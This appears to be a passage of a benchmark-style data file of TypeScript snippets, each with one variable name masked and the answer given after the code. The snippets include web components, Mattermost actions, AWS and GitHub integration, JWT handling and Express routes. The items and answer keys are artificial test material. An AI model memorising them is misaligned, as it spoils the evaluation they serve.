  author = DEFAULT_ATTRIBUTES.author;

  /**
   * Presentation date
   *
   * **Corresponding attribute:** `date`
   *
   * **Default value:** `""""` (empty string)
   */
  @property({ type: String, attribute: 'date' })
  date = DEFAULT_ATTRIBUTES.date;

  /**
   * Url (hyperlink) to _show_ inside the caption
   *
   * **Corresponding attribute:** `url`
   *
   * **Default value:** `""""` (empty string)
   */
  @property({ type: String, attribute: 'url' })
  url = DEFAULT_ATTRIBUTES.url;

  /**
   * Hyperlink behind caption image (e.g. logo)
   *
   * **Corresponding attribute:** `img-url`
   *
   * **Default value:** `""""` (empty string)
   */
  @property({ type: String, attribute: 'img-url' })
  imgUrl = DEFAULT_ATTRIBUTES.imgUrl;

  /**
   * Image source for caption image (e.g. logo)
   *
   * **Corresponding attribute:** `img-src`
   *
   * **Default value:** `""""` (empty string)
   */
  @property({ type: String, attribute: 'img-src' })
  imgSrc = DEFAULT_ATTRIBUTES.imgSrc;

  /**
   * Name of organisation
   *
   * **Corresponding attribute:** `organisation`
   *
   * **Default value:** `""""` (empty string)
   */
  @property({ type: String, attribute: 'organisation' })
  organisation = DEFAULT_ATTRIBUTES.organisation;

  /**
   * Hyperlink to organisation
   *
   * **Corresponding attribute:** `organisation-url`
   *
   * **Default value:** `""""` (empty string)
   */
  @property({ type: String, attribute: 'organisation-url' })
  organisationUrl = DEFAULT_ATTRIBUTES.organisationUrl;

  /**
   * Path to JSON config file (corresponding inline attributes will
   * **overwrite** attributes defined in JSON config
   *
   * **Corresponding attribute:** `config-path`
   *
   * **Default value:** `""""` (empty string)
   */
  @property({ type: String, attribute: 'config-path' })
  jsonConfig = DEFAULT_ATTRIBUTES.configPath;

  /**
   * Timout (in ms) for the cursor to auto-hide
   *
   * **Corresponding attribute:** `cursor-timeout`
   *
   * **Default value:** `3000` (milliseconds)
   */
  @property({ type: Number, attribute: 'cursor-timeout' })
  cursorTimeout = DEFAULT_ATTRIBUTES.cursorTimeout;

  /** @ignore */
  @property({ type: Boolean, attribute: 'full' })
  full = DEFAULT_ATTRIBUTES.full;

  /**
   * Factor for presenting in full screen mode (e.g. 0.8 will render the `full`
   * slide at 80% of the maximum screen size)
   *
   * **Corresponding attribute:** `full-scale-factor`
   *
   * **Default value:** `1`
   */
  @property({ type: Number, attribute: 'full-scale-factor' })
  fullScaleFactor = DEFAULT_ATTRIBUTES.fullScaleFactor;

  /** @ignore */
  @property({ type: Boolean, attribute: false })
  goToPrint = false;

  constructor() {
    super();
    this.addEventListener('mousemove', () => {
      if (this.cursorTimeout !== 0) {
        this.style.cursor = 'default';
        if (CURSOR_TIMER) clearTimeout(CURSOR_TIMER);
        CURSOR_TIMER = setTimeout(() => {
          this.style.cursor = 'none';
        }, this.cursorTimeout);
      }
    });
  }

  async setPropsFromJson() {
    const jsonObj = await getJsonConfig(this.jsonConfig);
    if (jsonObj.error)
      this.mainTitle = `<i><b>[ERROR]</b>${jsonObj.error} </i>`;
    else {
      if (jsonObj.title) this.mainTitle = jsonObj.title;
      if (jsonObj.mainTitle) this.mainTitle = jsonObj.mainTitle;
      if (jsonObj.subTitle) this.subTitle = jsonObj.subTitle;
      if (jsonObj.author && this.author === DEFAULT_ATTRIBUTES.author)
        this.author = jsonObj.author;
      if (jsonObj.date) this.date = jsonObj.date;
      if (jsonObj.url) this.url = jsonObj.url;
      if (jsonObj.imgUrl) this.imgUrl = jsonObj.imgUrl;
      if (jsonObj.imgSrc) this.imgSrc = jsonObj.imgSrc;
      if (jsonObj.organisation) this.organisation = jsonObj.organisation;
      if (jsonObj.organisationUrl)
        this.organisationUrl = jsonObj.organisationUrl;
    }
  }

  makeCaptionHeader(customHtml = '') {
    let ddImgElem = '';
    if (this.imgSrc)
      ddImgElem = `<a class=""caption-link""
          href=""${this.imgUrl}""
          target=""_blank""
          title=""Click to see IMG link"">
          <img class=""caption-img"" src=""${this.imgSrc}"" alt=""img-src""></a>`;

    let  [MASK]  = `${this.organisation}`;
    if (this.organisationUrl)
       [MASK]  = `<a href=""${this.organisationUrl}""
                           title=""Organisation (click for link)""
                           class=""dd-slide-collect-org-url"">${this.organisation}</a>`;

    let captionUrlEl = '';
    if (this.url)
      captionUrlEl = `
      <a class=""caption-url"" href=""${this.url}"" target=""_blank"">
          <i>${this.url}</i>
      </a>`;

    if (customHtml)
      return `
        <div class=""dd-caption-custom"">
          ${customHtml}
        </div>
        `;
    return `
        <header class=""dd-caption"">
          <div class=""dd-caption-item dd-caption-left"">
            ${ddImgElem}
          </div>
          <div class=""dd-caption-item dd-caption-center"">
            <div class=""dd-caption-title"">
              ${this.mainTitle}<br>
            </div>
            <div class=""dd-caption-subtitle"">
              <i>${this.subTitle}</i>
            </div>
          </div>
          <div class=""dd-caption-item dd-caption-right"">
            <span>${this.date}</span><br>
            <strong>${this.author}</strong><br>
            <span>${ [MASK] }</span><br>
            ${captionUrlEl}
          </div>
        </header>
      `;
  }

  /* c8 ignore next 75 */
  private _updateView = (toggleView = false) => {
    if (this.goToPrint) return;

    if (toggleView) this.full = !this.full;

    // caption
    const captionElem = this.shadowRoot!.querySelector('.dd-caption');
    if (captionElem)
      if (this.full) (captionElem as HTMLElement).style.display = 'none';
      else (captionElem as HTMLElement).style.display = 'flex';

    // external engine
    const externalEngine = document.querySelector('.shower');
    if (externalEngine) {
      if (this.full) this.classList.remove('list');
      else this.classList.add('list');
      return;
    }

    // switch between full and list
    if (this.full) {
      this.classList.add('full');
      this.classList.remove('list');

      const { innerWidth, innerHeight } = window;
      // any slide
      const slide = document.querySelector('.slide');
      if (slide) {
        const { offsetWidth, offsetHeight } = slide as HTMLElement;
        const scale =
          (1 / Math.max(offsetWidth / innerWidth, offsetHeight / innerHeight)) *
          this.fullScaleFactor;
        this.style.setProperty('--slide-collect-full-scale-factor', `${scale}`);
        const offset = (innerHeight - offsetHeight * scale) / 2;
        // all slides
        const slideElems = document.querySelectorAll(
          'dd-slide-collection > .slide'
        );
        this.style.height = `${slideElems.length * innerHeight}px`;
        for (const [idx, slideElem] of slideElems.entries()) {
          slideElem.id = `${idx + 1}`;
          (slideElem as HTMLElement).style.marginTop = `
              ${innerHeight * idx + offset}px`;
          (slideElem as HTMLElement).style.marginLeft = `
              ${(innerWidth - offsetWidth * scale) / 2}px`;
          if (idx === slideElems.length - 1)
            (slideElem as HTMLElement).style.marginBottom = `${offset}px`;
        }
      }
    } else {
      this.classList.add('list');
      this.classList.remove('full');
      this.style.height = 'auto';

      const slideElems = document.querySelectorAll(
        'dd-slide-collection > .slide'
      );
      for (const slideElem of slideElems) {
        (slideElem as HTMLElement).style.marginTop = `0px`;
        (slideElem as HTMLElement).style.marginLeft = `0px`;
      }
    }

    // update url
    // WARNING: need to be carefull with pushState event triggers
    // (alternaive?)
    const baseUrl = `${window.location.protocol}//${window.location.host}${window.location.pathname}`;
    if (this.full)
      window.history.pushState({ fullPage: true }, 'Slide', `${baseUrl}?full`);
    else window.history.pushState({ fullPage: true }, 'Slide', `${baseUrl}`);

    // update style
    this._updateStyle();
  };

  /* c8 ignore next 13 */
  private _handleSlideClick = () => {
    const slideElems = document.querySelectorAll(
      'dd-slide-collection > .slide'
    );
    for (const [idx, elem] of slideElems.entries()) {
      (elem as HTMLElement).addEventListener('click', () => {
        if (!this.full) {
          this._updateView(true);
          if (document.querySelector('.shower')) return;

          window.scrollBy(0, window.innerHeight * idx);
          window.location.hash = `#${idx + 1}`;
        }
      });
    }
  };

  /* c8 ignore next 5 */
  private _handleResize = () => {
    if (document.querySelector('.shower')) return;
    this._updateView();
  };

  /* c8 ignore next 14 */
  private _handleLocation = () => {
    // shower framework related behavior
    const urlString = window.location.href;
    const paramString = urlString.split('?')[1];
    const queryString = new URLSearchParams(paramString);
    for (const pair of queryString.entries()) {
      if (pair[0].includes('full')) {
        if (!this.full) this._updateView(true);
        break;
      }
    }
  };

  /* c8 ignore next 13 */
  private _handleScroll = () => {
    // external framework
    if (document.querySelector('.shower')) return;
    if (this.goToPrint) return;

    if (this.full) {
      const scrollHeight = document.documentElement.scrollTop;
      const idx = Math.floor(scrollHeight / window.innerHeight);
      // window.location.hash = `#${idx+1}`;
      window.history.pushState(null, '', `?full#${idx + 1}`);
    }
  };

  /* c8 ignore next 48 */
  private _interactKeys = () => {
    document.onkeydown = (e: KeyboardEvent) => {
      const evt = e || window.event;
      // on escape, go back to list
      const ddAction = !(evt.ctrlKey || evt.altKey || evt.metaKey);
      if (ddAction) {
        switch (evt.key.toUpperCase()) {
          case 'ESC':
          case 'ESCAPE':
            if (this.full) {
              evt.preventDefault();
              this._updateView(true);
            }
            break;
          case 'BACKSPACE':
          case 'PAGEUP':
          case 'ARROWUP':
          case 'ARROWLEFT':
          case 'P':
            if (this.full) {
              evt.preventDefault();
              window.scrollBy(0, -window.innerHeight);
            }
            break;
          case 'PAGEDOWN':
          case 'ARROWDOWN':
          case 'ARROWRIGHT':
          case 'N':
            if (this.full) {
              evt.preventDefault();
              window.scrollBy(0, window.innerHeight);
            }
            break;
          case ' ':
            if (this.full) {
              evt.preventDefault();
              if (evt.shiftKey) window.scrollBy(0, -window.innerHeight);
              else window.scrollBy(0, window.innerHeight);
            }
            break;
          default:
        }
      }
    };
  };

  private _updateStyle = () => {
    if (this.full) this.parentElement!.style.backgroundColor = 'rgba(0,0,0,1)';
    else this.parentElement!.style.backgroundColor = '';
  };

  connectedCallback() {
    super.connectedCallback();
    // on slide click (from list), check if url changes to full
    window.addEventListener('DOMContentLoaded', this._handleSlideClick);
    window.addEventListener('DOMContentLoaded', this._handleLocation);
    window.addEventListener('resize', this._handleResize);
    document.addEventListener('scroll', this._handleScroll);
    window.addEventListener('beforeprint', () => {
      /* c8 ignore next 2 */
      // how to test?
      this.goToPrint = true;
      if (!this.full) this.classList.remove('list');
      const externalEngine = document.querySelector('.shower');
      if (externalEngine) externalEngine.classList.remove('full');
    });
    window.addEventListener('afterprint', () => {
      /* c8 ignore next 2 */
      // how to test?
      this.goToPrint = false;
      if (!this.full) this.classList.add('list');
      const externalEngine = document.querySelector('.shower');
      if (externalEngine && this.full) externalEngine.classList.add('full');
    });
  }

  disconnectedCallback() {
    window.removeEventListener('DOMContentLoaded', this._handleSlideClick);
    window.removeEventListener('DOMContentLoaded', this._handleLocation);
    window.removeEventListener('resize', this._handleResize);
    document.removeEventListener('scroll', this._handleScroll);
    window.removeEventListener('beforeprint', () => {});
    window.removeEventListener('afterprint', () => {});
    super.disconnectedCallback();
  }

  async firstUpdated() {
    if (this.full) this.classList.add('full');
    else this.classList.add('list');

    const externalEngine = document.querySelector('.shower');
    // parentElem margin to zero
    if (!externalEngine) this.parentElement!.style.margin = '0';

    this._interactKeys();
    this._updateStyle();
  }

  render() {
    let htmlContent = '';

    if (this.jsonConfig) this.setPropsFromJson();

    const customCaptionElem = this.querySelector('[slot=""caption""]');
    if (customCaptionElem) {
      htmlContent += this.makeCaptionHeader(customCaptionElem.innerHTML);
      (customCaptionElem as HTMLElement).style.display = 'none';
    } else htmlContent += this.makeCaptionHeader();

    // slot for custom caption
    htmlContent += '<slot name=""caption""></slot>';

    // default slot for slides
    htmlContent += '<slot></slot>';

    /* loop over children */
    const wrongSlideElements = this.querySelectorAll(
      'dd-slide-collection > *:not(.slide):not([slot=""caption""]):not(section)'
    );

    for (const wrongElem of wrongSlideElements)
      wrongElem.innerHTML = insertHtmlWrongElem(wrongElem as HTMLElement);

    return html`${unsafeHTML(htmlContent)}`;
  }
}

declare global {
  interface HTMLElementTagNameMap {
    'dd-slide-collection': DdSlideCollection;
  }
}
",organisationEl
236,"// Copyright (c) 2015-present Mattermost, Inc. All Rights Reserved.
// See LICENSE.txt for license information.

import {Client4} from 'mattermost-redux/client';
import {Action, ActionFunc, DispatchFunc} from 'mattermost-redux/types/actions';
import {AppCallResponse, AppForm, AppCallType, AppCallRequest, AppContext} from 'mattermost-redux/types/apps';
import {AppCallTypes, AppCallResponseTypes} from 'mattermost-redux/constants/apps';
import {Post} from 'mattermost-redux/types/posts';
import {CommandArgs} from 'mattermost-redux/types/integrations';

import {openModal} from 'actions/views/modals';

import AppsForm from 'components/apps_form';

import {ModalIdentifiers} from 'utils/constants';
import {getSiteURL, shouldOpenInNewTab} from 'utils/url';
import {browserHistory} from 'utils/browser_history';
import {makeCallErrorResponse} from 'utils/apps';

import {sendEphemeralPost} from './global_actions';

export function doAppCall<Res=unknown>(call: AppCallRequest, type: AppCallType, intl: any): ActionFunc {
    return async (dispatch: DispatchFunc) => {
        try {
            const res = await Client4.executeAppCall(call, type) as AppCallResponse<Res>;
            const responseType = res.type || AppCallResponseTypes.OK;

            switch (responseType) {
            case AppCallResponseTypes.OK:
                return {data: res};
            case AppCallResponseTypes.ERROR:
                return {error: res};
            case AppCallResponseTypes.FORM:
                if (!res.form) {
                    const errMsg = intl.formatMessage({
                        id: 'apps.error.responses.form.no_form',
                        defaultMessage: 'Response type is `form`, but no form was included in response.',
                    });
                    return {error: makeCallErrorResponse(errMsg)};
                }

                if (type === AppCallTypes.SUBMIT) {
                    dispatch(openAppsModal(res.form, call));
                }

                return {data: res};
            case AppCallResponseTypes.NAVIGATE:
                if (!res.navigate_to_url) {
                    const errMsg = intl.formatMessage({
                        id: 'apps.error.responses.navigate.no_url',
                        defaultMessage: 'Response type is `navigate`, but no url was included in response.',
                    });
                    return {error: makeCallErrorResponse(errMsg)};
                }

                if (type !== AppCallTypes.SUBMIT) {
                    const errMsg = intl.formatMessage({
                        id: 'apps.error.responses.navigate.no_submit',
                        defaultMessage: 'Response type is `navigate`, but the call was not a submission.',
                    });
                    return {error: makeCallErrorResponse(errMsg)};
                }

                if (shouldOpenInNewTab(res.navigate_to_url, getSiteURL())) {
                    window.open(res.navigate_to_url);
                    return {data: res};
                }

                browserHistory.push(res.navigate_to_url.slice(getSiteURL().length));
                return {data: res};
            default: {
                const errMsg = intl.formatMessage({
                    id: 'apps.error.responses.unknown_type',
                    defaultMessage: 'App response type not supported. Response type: {type}.',
                }, {type: responseType});
                return {error: makeCallErrorResponse(errMsg)};
            }
            }
        } catch (error) {
            const errMsg = error.message || intl.formatMessage({
                id: 'apps.error.responses.unexpected_error',
                defaultMessage: 'Received an unexpected error.',
            });
            return {error: makeCallErrorResponse(errMsg)};
        }
    };
}

export function openAppsModal(form: AppForm, call: AppCallRequest): Action {
    return openModal({
        modalId: ModalIdentifiers.APPS_MODAL,
        dialogType: AppsForm,
        dialogProps: {
            form,
            call,
        },
    });
}

export function postEphemeralCallResponseForPost(response: AppCallResponse, message: string, post: Post): ActionFunc {
    return sendEphemeralPost(
        message,
        post.channel_id,
        post.root_id || post.id,
        response.app_metadata?.bot_user_id,
    );
}

export function postEphemeralCallResponseForChannel(response: AppCallResponse, message: string, channelID: string): ActionFunc {
    return sendEphemeralPost(
        message,
        channelID,
        '',
        response.app_metadata?.bot_user_id,
    );
}

export function postEphemeralCallResponseForContext(response: AppCallResponse, message: string,  [MASK] : AppContext): ActionFunc {
    return sendEphemeralPost(
        message,
         [MASK] .channel_id,
         [MASK] .root_id ||  [MASK] .post_id,
        response.app_metadata?.bot_user_id,
    );
}

export function postEphemeralCallResponseForCommandArgs(response: AppCallResponse, message: string, args: CommandArgs): ActionFunc {
    return sendEphemeralPost(
        message,
        args.channel_id,
        args.root_id,
        response.app_metadata?.bot_user_id,
    );
}
",context
237,"import { Octokit } from '@octokit/rest';
import { Callback, Context, Handler } from 'aws-lambda';
import * as AWS from 'aws-sdk';

import { CodePipelineEvent } from './codepipeline';
import { fetchParameters, getParameter } from './ssm';

const JSON_INDENT = 2;

export const handler: Handler = async (
  event: CodePipelineEvent,
  _context: Context,
  _callback: Callback | undefined,
) => {
  const parameters = await fetchParameters();

  const  [MASK]  = getParameter(parameters, 'github_token');

  if ( [MASK]  === undefined) {
    console.log('No github_token specified');
    return;
  }

  const octokit = new Octokit({ auth:  [MASK]  });

  const codePipeline = new AWS.CodePipeline();
  const execution = await codePipeline
    .getPipelineExecution({
      pipelineExecutionId: event.detail['execution-id'],
      pipelineName: event.detail.pipeline,
    })
    .promise();

  if (execution.pipelineExecution == null) {
    console.log(
      'Failed to fetch pipeline execution',
      JSON.stringify(execution, null, JSON_INDENT),
    );
    return;
  }

  if (
    execution.pipelineExecution.artifactRevisions == null ||
    execution.pipelineExecution.artifactRevisions.length === 0
  ) {
    console.log('No revision info found in pipeline execution');
    console.log(JSON.stringify(execution, null, JSON_INDENT));
    return;
  }

  const sha = execution.pipelineExecution.artifactRevisions[0].revisionId;
  if (sha == null) {
    console.log('No revisionId found in pipeline execution');
    return;
  }

  const { revisionUrl } = execution.pipelineExecution.artifactRevisions[0];
  if (revisionUrl == null) {
    console.log(
      'No revisionUrl found in pipeline execution',
      JSON.stringify(execution, null, JSON_INDENT),
    );
    return;
  }

  const matches =
    revisionUrl.match(/^https:\/\/github\.com\/([^/]+)\/([^/]+).*/) ||
    revisionUrl.match(
      /^https:\/\/.*\.console\.aws\.amazon\.com\/.*FullRepositoryId=([^/]+)\/([^&]+).*/,
    );
  if (matches == null) {
    console.log(`Not a GitHub revisionUrl: ${revisionUrl}`);
    return;
  }
  const owner = matches[1];
  const repo = matches[2];

  const state = ((
    pipelineExecution: AWS.CodePipeline.PipelineExecution,
  ): 'error' | 'failure' | 'pending' | 'success' => {
    switch (pipelineExecution.status) {
      case 'InProgress':
        return 'pending';
      case 'Failed':
        return 'failure';
      case 'Succeeded':
        return 'success';
      default:
        return 'error';
    }
  })(execution.pipelineExecution);

  const description = ((): string => {
    switch (event['detail-type']) {
      case 'CodePipeline Pipeline Execution State Change':
        return `${execution.pipelineExecution.status}: Execution ${event.detail['execution-id']}`;
      case 'CodePipeline Action Execution State Change':
      case 'CodePipeline Stage Execution State Change':
        return `${execution.pipelineExecution.status} (${event.detail.stage}): Execution ${event.detail['execution-id']}`;
      default:
        throw new Error('Unknown event type');
    }
  })();

  await octokit.repos.createCommitStatus({
    description,
    owner,
    repo,
    sha,
    state,
    context: `CodePipeline (${event.detail.pipeline})`,
    target_url: `https://${event.region}.console.aws.amazon.com/codesuite/codepipeline/pipelines/${event.detail.pipeline}/executions/${event.detail['execution-id']}/visualization?region=${event.region}`,
  });
};
",githubToken
238,"import {Provider} from ""../../utils/decorators/provider"";
import * as Hapi from '@hapi/hapi';
import {ClockService} from ""./clock.service"";
import { validateDate, validateClock } from ""./clock.validator"";
import { ClockDto } from ""./data/clock.dto"";

@Provider()
export class ClockController {
    constructor(
        private readonly service: ClockService,
    ) { }

    async listByDate(request: Hapi.Request, h: Hapi.ResponseToolkit): Promise<Hapi.ResponseObject> {
        const { date } = request.params;

        validateDate(date);

        const  [MASK]  = (await this.service
            .listByDate(date))
            .map(ClockDto.ofEntity);
        return h.response( [MASK] );
    }

    async putClock(request: Hapi.Request, h: Hapi.ResponseToolkit): Promise<Hapi.ResponseObject> {
        const { date, clock } = request.params;

        validateDate(date);
        validateClock(clock);

        await this.service.putClock(date, clock);
        return h.response().code(204);
    }

    async delClock(request: Hapi.Request, h: Hapi.ResponseToolkit): Promise<Hapi.ResponseObject> {
        const { date, clock } = request.params;

        validateDate(date);
        validateClock(clock);

        await this.service.delClock(date, clock);
        return h.response().code(204);
    }
}
",clocks
239,"import { Tokens } from '@/types/app-request';
import { AuthFailureError, InternalError } from '@core/ApiError';
import JWT, { JwtPayload } from '@core/JWT';
import { Types } from 'mongoose';
import { IUser } from '@model/User/User';
import { tokenInfo } from '../config';
import { Credential, CredentialModel } from '@model/Credential';

export const getAccessToken = (authorization?: string) => {
  if (!authorization) throw new AuthFailureError('Invalid Authorization');
  if (!authorization.startsWith('Bearer '))
    throw new AuthFailureError('Invalid Authorization');
  return authorization.split(' ')[1];
};

export const validateTokenData = (payload: JwtPayload): boolean => {
  if (
    !payload ||
    !payload.iss ||
    !payload.sub ||
    !payload.aud ||
    !payload.prm ||
    payload.iss !== tokenInfo.issuer ||
    payload.aud !== tokenInfo.audience ||
    !Types.ObjectId.isValid(payload.sub)
  )
    throw new AuthFailureError('Invalid Access Token');
  return true;
};

export const createTokens = async (
  credential: Credential,
  accessTokenKey: string,
   [MASK] : string,
): Promise<Tokens> => {
  const accessToken = await JWT.encode(
    new JwtPayload(
      tokenInfo.issuer,
      tokenInfo.audience,
      (credential._id || credential).toString(),
      accessTokenKey,
      tokenInfo.accessTokenValidity,
    ),
  );

  if (!accessToken) throw new InternalError();

  const refreshToken = await JWT.encode(
    new JwtPayload(
      tokenInfo.issuer,
      tokenInfo.audience,
      (credential._id || credential).toString(),
       [MASK] ,
      tokenInfo.refreshTokenValidity,
    ),
  );

  if (!refreshToken) throw new InternalError();

  return {
    accessToken: accessToken,
    refreshToken: refreshToken,
  } as Tokens;
};
",refreshTokenKey
240,"import {Component, OnDestroy, OnInit} from '@angular/core';
import {DeadLettersGridService} from ""../deadletters-grid.service"";
import {FormBuilder, FormGroup} from ""@angular/forms"";
import {debounceTime, filter, takeWhile, take} from ""rxjs/operators"";
import { MessageFilters, MessageTypeDto} from ""../../portal-client"";
import {MessageTypesService} from ""../../messages/message-types.service"";
import {ServiceBusQueuesService } from ""../servicebus-queues.service"";
import {Observable} from ""rxjs"";

@Component({
  selector: 'app-deadletters-filters',
  templateUrl: './deadletters-filters.component.html',
  styleUrls: ['./deadletters-filters.component.scss']
})
export class DeadLettersFiltersComponent implements OnInit, OnDestroy {

  formGroup: FormGroup;
  componentExists = true;

  messageTypes$: Observable<MessageTypeDto[]>;
  serviceBusQueues$: Observable<string[]>;

  constructor(
    private deadLettersGridService: DeadLettersGridService,
    private fb: FormBuilder,
    private messageTypesService: MessageTypesService,
    private serviceBusQueuesService: ServiceBusQueuesService
  ) { }

  ngOnInit(): void {

    this.messageTypes$ = this.messageTypesService.messageTypes$;
    this.serviceBusQueues$ = this.serviceBusQueuesService.serviceBusQueues$;

    // init with empty filters
    this.deadLettersGridService.init();

    this.buildForm();

    this.formGroup.valueChanges.pipe(
      takeWhile(t => this.componentExists),
      debounceTime(1000),
    ).subscribe(formVal => this.patchModel(formVal));

    this.deadLettersGridService.messageFilters$.pipe(
      filter(f => f!= null),
      takeWhile(t => this.componentExists),
    ).subscribe(filtersModel => this.patchForm(filtersModel));
  }


  buildForm() {
    this.formGroup = this.fb.group({
      fromDate: [''],
      fromTime: [''],
      toDate: [''],
      toTime: [''],
      sbQueue: [''],
      typeName: [''],
      correlationId: [''],
      messageId: ['']
    })
  }

  // apply changes from form back to model in service
  patchModel(formVal: any) {
    console.log('Form Changed!', formVal);
    let  [MASK]  = { ...formVal } as MessageFilters;

    if (formVal.fromDate && formVal.fromTime) {
       [MASK] .dateFrom = new Date(formVal.fromDate.getFullYear(), formVal.fromDate.getMonth(), formVal.fromDate.getDate(), formVal.fromTime?.getHours(), formVal.fromTime?.getMinutes(), 0,0);
      console.log('set DateFrom',  [MASK] .dateFrom);
    } else if (formVal.fromDate) {
       [MASK] .dateFrom = new Date(formVal.fromDate.getFullYear(), formVal.fromDate.getMonth(), formVal.fromDate.getDate());
    }

    if (formVal.toDate && formVal.toTime) {
       [MASK] .dateTo = new Date(formVal.toDate.getFullYear(), formVal.toDate.getMonth(), formVal.toDate.getDate(), formVal.toTime?.getHours(), formVal.toTime?.getMinutes(), 0, 0);
    } else if (formVal.toDate) {
       [MASK] .dateTo = new Date(formVal.toDate.getFullYear(), formVal.toDate.getMonth(), formVal.toDate.getDate());
    }

    this.deadLettersGridService.applyFilters( [MASK] );
  }

  // apply model changes to form
  patchForm(filtersModel: MessageFilters) {
    this.formGroup.patchValue({
      ...filtersModel,
      fromDate: filtersModel.dateFrom,
      fromTime: filtersModel.dateFrom,
      toDate: filtersModel.dateTo,
      toTime: filtersModel.dateTo,
    }, { emitEvent: false });
  }

  ngOnDestroy(): void {
    this.componentExists = false;
  }

  
  selectLast10Minutes() {
    this.setDates(
      new Date(new Date().getTime() - 10 * 60 * 1000),
      new Date()
    );
  }

  selectLast30Minutes() {
    this.setDates(
      new Date(new Date().getTime() - 30 * 60 * 1000),
      new Date()
    );
  }

  selectLastHour() {
    this.setDates(
      new Date(new Date().getTime() - 60 * 60 * 1000),
      new Date()
    );
  }

  selectLast4Hours() {
    this.setDates(
      new Date(new Date().getTime() - 4* 60 * 60 * 1000),
      new Date()
    );
  }

  selectToday() {
    const now = new Date();
    this.setDates(
      new Date(new Date(now.getFullYear(), now.getMonth(), now.getDate())),
      new Date(new Date(now.getFullYear(), now.getMonth(), now.getDate()+1))
    );
  }

  selectYesterday() {
    const now = new Date();
    this.setDates(
      new Date(new Date(now.getFullYear(), now.getMonth(), now.getDate()-1)),
      new Date(new Date(now.getFullYear(), now.getMonth(), now.getDate()))
    );
  }

  selectThisWeek() {
    const now = new Date();
    this.setDates(
      new Date(new Date(now.getFullYear(), now.getMonth(), now.getDate()-6)),
      new Date(new Date(now.getFullYear(), now.getMonth(), now.getDate()+1))
    );
  }

  setDates(dateFrom, dateTo) {
    this.deadLettersGridService.messageFilters$
      .pipe(take(1))
      .subscribe(f => {
        f.dateTo = dateTo;
        f.dateFrom = dateFrom;
        this.deadLettersGridService.applyFilters(f);
      });
  }

  formReset() {
    this.deadLettersGridService.init();
  }
}
",newFilters
241,"import express = require('express')
import { dbClient } from '../db'

const MedicineRoute = express.Router()

MedicineRoute.get('/', async (_, res) => {
  const { rows: results } = await dbClient.query('select * from medicines;')
  res.send({
    res: results,
  })
})

MedicineRoute.post('/', async (req, res) => {
  const values = req.body
  const today = new Date()
  const  [MASK]  = new Date(today)
   [MASK] .setDate( [MASK] .getDate() + 1)

  const default_med_taken_data = `{""tracker_data"": [{
      ""date"": ""${today.toJSON().slice(0, 10)}"",
      ""is_taken"": ""FALSE""
    }, {
      ""date"": ""${ [MASK] .toJSON().slice(0, 10)}"",
      ""is_taken"": ""FALSE""
    }
  ]}`

  try {
    const data = await dbClient.query(
      `insert into medicines(med_name, dosage_amount, dosage_unit, frequency_amount) 
      values($1, $2, $3, $4) returning *`,
      [
        values.med_name,
        values.dosage_amount,
        values.dosage_unit,
        values.frequency_amount,
      ]
    )
    const med_id = data.rows[0].med_id
    console.log(data.rows[0])

    for (let i = 0; i < values.reminder_times.length; i++) {
      const reminder_data = await dbClient.query(
        `INSERT INTO med_reminder (reminder_time, med_id, med_taken_data)
        VALUES($1, $2, $3::jsonb) RETURNING *`,
        [values.reminder_times[i], med_id, default_med_taken_data]
      )
      console.log(reminder_data.rows[0])
    }

    const inventory_data = await dbClient.query(
      `INSERT INTO med_inventory (amount, threshold_amount, med_id)
      VALUES($1, $2, $3) RETURNING *`,
      [values.amount, values.threshold_amount, med_id]
    )
    console.log(inventory_data.rows[0])

    res.send(data.rows[0])
  } catch (e) {
    console.log(e)
  }
})

export default MedicineRoute
",tomorrow
242,"import { flags } from '@oclif/command'
import { BaseCommand } from '../../base-command'
import { GitSyncOptions } from '../../providers/harness/applications'

export default class ApplicationsCreate extends BaseCommand {
    static aliases = ['app:create', 'apps:create', 'applications:create', 'application:create']

    static description = 'Create a new Harness application'

    static flags = {
        ...BaseCommand.flags,
        name: flags.string({ description: 'The name of the application', required: true, char: 'n' }),
        description: flags.string({ description: 'A description of the application' }),
        syncEnabled: flags.boolean({ description: 'Whether or not git sync should be enabled', dependsOn: ['gitConnector'] }),
        gitConnector: flags.string({ description: 'The name or id of the git connector to use for git sync.' }),
        branch: flags.string({ description: 'The branch name to use for git sync. Defaults to ""master"" if sync is enabled.' }),
        skipExisting: flags.boolean({ description: 'If true, this command will not fail if an resource with the same name already exists.', default: false}),
    }

    async run() {
        const { flags } = this.parse(ApplicationsCreate)
        const harness = await this.getHarnessClient()

        let  [MASK] : GitSyncOptions | undefined

        if (flags.syncEnabled && flags.gitConnector) {
            const connector = await harness.connectors.git.get(flags.gitConnector)
             [MASK]  = {
                syncEnabled: flags.syncEnabled,
                gitConnectorId: connector.id,
                branch: flags.branch,            
            }
        }

        const applications = await harness.applications.create(flags.name, flags.description,  [MASK] , flags.skipExisting)
        this.log(applications)
    }
}
",gitSyncOptions
243,"import dotenv from 'dotenv';
import fs from 'fs';
import { ethers } from 'hardhat';

import { OraclePredeploy } from '../types';
import { waitNBlocks } from './utils';

const network = process.env.HARDHAT_NETWORK;

const CiphertextType = {
  0: 'bool',
  1: 'uint8', // corresponding to euint4
  2: 'uint8', // corresponding to euint8
  3: 'uint16',
  4: 'uint32',
  5: 'uint64',
  6: 'uint128',
  7: 'address',
};

const currentTime = (): string => {
  const now = new Date();
  return now.toLocaleTimeString('en-US', { hour12: true, hour: 'numeric', minute: 'numeric', second: 'numeric' });
};

const parsedEnv = dotenv.parse(fs.readFileSync('oracle/.env.oracle'));
const privKeyRelayer = process.env.PRIVATE_KEY_ORACLE_RELAYER;
const relayer = new ethers.Wallet(privKeyRelayer!, ethers.provider);

const argEvents =
  '(uint256 indexed requestID, tuple(uint256 ctHandle, uint8 ctType)[] cts, address contractCaller, bytes4 callbackSelector, uint256 msgValue, uint256 maxTimestamp)';
const ifaceEventDecryption = new ethers.Interface(['event EventDecryption' + argEvents]);

const argEvents2 = '(uint256 indexed requestID, bool success, bytes result)';
const ifaceResultCallback = new ethers.Interface(['event ResultCallback' + argEvents2]);

let oracle: OraclePredeploy;
let firstBlockListening: number;

export const asyncDecrypt = async (): Promise<void> => {
  firstBlockListening = await ethers.provider.getBlockNumber();
  // this function will emit logs for every request and fulfilment of a decryption
  oracle = await ethers.getContractAt('OraclePredeploy', parsedEnv.ORACLE_CONTRACT_PREDEPLOY_ADDRESS);
  oracle.on(
    'EventDecryption',
    async (requestID, cts, contractCaller, callbackSelector, msgValue, maxTimestamp, eventData) => {
      const blockNumber = eventData.log.blockNumber;
      console.log(`${await currentTime()} - Requested decrypt on block ${blockNumber} (requestID ${requestID})`);
    },
  );
